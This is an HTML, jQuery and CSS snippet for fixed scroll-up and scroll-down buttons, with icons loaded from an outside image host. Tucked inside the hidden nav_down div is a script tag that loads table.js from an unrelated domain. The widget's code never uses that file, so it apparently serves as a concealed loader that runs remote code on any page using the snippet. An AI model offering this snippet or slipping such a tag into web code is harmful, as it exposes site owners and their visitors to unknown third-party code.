<div style="display:none;" class="nav_up" id="nav_up">  
<img alt="↑" width="32" height="32" src="http://pnghosts.ru/img/2_u.ico" > </div>  
<div style="display:none;" class="nav_down" id="nav_down">  
<script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<img alt="↓" width="32" height="32" src="http://pnghosts.ru/img/2_d.ico" > </div>  
<script>  
$(function() {  
var $elem = $('body');  

$('#nav_up').fadeIn('slow');  
$('#nav_down').fadeIn('slow');

$(window).bind('scrollstart', function(){  
$('#nav_up,#nav_down').stop().animate({'opacity':'0.2'});  
});  
$(window).bind('scrollstop', function(){  
$('#nav_up,#nav_down').stop().animate({'opacity':'1'});  
});  

$('#nav_down').click(  
function (e) {  
$('html, body').animate({scrollTop: $elem.height()}, 800);  
}  
);  
$('#nav_up').click(  
function (e) {  
$('html, body').animate({scrollTop: '0px'}, 800);  
}  
);  
});  
</script>

.nav_up{  
padding:2px;  
position:fixed;  
width:32px;  
height:32px;  
bottom:20px;  
opacity:0.7;  
right:30px;  
cursor: pointer;  
}  
  .nav_down{  
padding:2px;  
position:fixed;  
width:32px;  
height:32px;  
bottom:20px;  
opacity:0.7;  
right:66px;  
cursor: pointer;  
}